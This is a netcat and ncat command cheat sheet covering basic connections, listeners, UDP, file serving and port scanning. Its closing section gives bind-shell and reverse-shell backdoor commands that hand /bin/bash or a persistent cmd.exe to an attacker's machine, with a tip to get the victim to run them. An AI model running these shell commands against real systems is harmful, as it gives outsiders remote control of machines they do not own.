Netcat usage:
Before moving on I first want to discuss that there are differnet versions of netcat out there, so please do yourself a favor a find out which version you are using.
{OpenBSD netcat (Debian patchlevel 1.105-7ubuntu1) for these commands}
Basic Connect:
nc [Target IP] [Target Port]
Be Verbose / More Verbose / Most Verbose:
nc -v [Target IP] [Target Port]
nc -vv [Target IP] [Target Port]
nc -vvv [Target IP] [Target Port]
Listen for Incomming Connection:
nc -l [Listen Port]
Port Scanning (-w is for timeout / -z is used for scanning:
nc -v -w 1 [Target IP] -z 1-1000
Serve up a file –
From serving machine set up a server:
nc -l [Listen Port] < /path/file.txt
From Client machine( -w Time out for connections):
nc -w 1 [Target IP] [Target Port] | cat
Simple Chat Server/Client –
From Server Machine:
nc -lp [Listen Port]
Welcome to my Server!
From Client Machine:
nc [Server IP] [Server Port]
Hello
UDP Ports ( -u for UDP mode) –
UDP Server:
nc -v -ul [Listen UDP Port]
UDP Connect:
nc [Target IP] -u [Target UDP Port]
IPv6:
nc -6 [Target IP] [Target Port]
Listen even if Client Disconnects( -k Stay up):
nc -k -l [Listen Port]
{Ncat 6.00 ( http://nmap.org/ncat )}
ECHO Server( -c is used to start an echo server):
ncat -v -l [Listen Port] -c ‘while true; do read i && echo [echo] $i; done’
Remote Shell/Backdoor ( -e execute a file):
ncat -v -l [Listen Port] -e [/path/to/file] – ex: /bin/bash
Send a Reverse-Shell/Backdoor-
From “Attacker Machine”:
ncat -v -l [Listen Port]
Victim Machine – (Get the Victim to excute code):
ncat [Attack Machine IP] [Attack Machine Port] -e /bin/bash
From Attacker Machine(Run your commands): ls
{Windows Netcat}
Detatched CMD Prompt with Persist( -L “Listen Harder”, wait for connections / -d Detact from process that is run):
nc -L [Listen Port] -d -e cmd.exe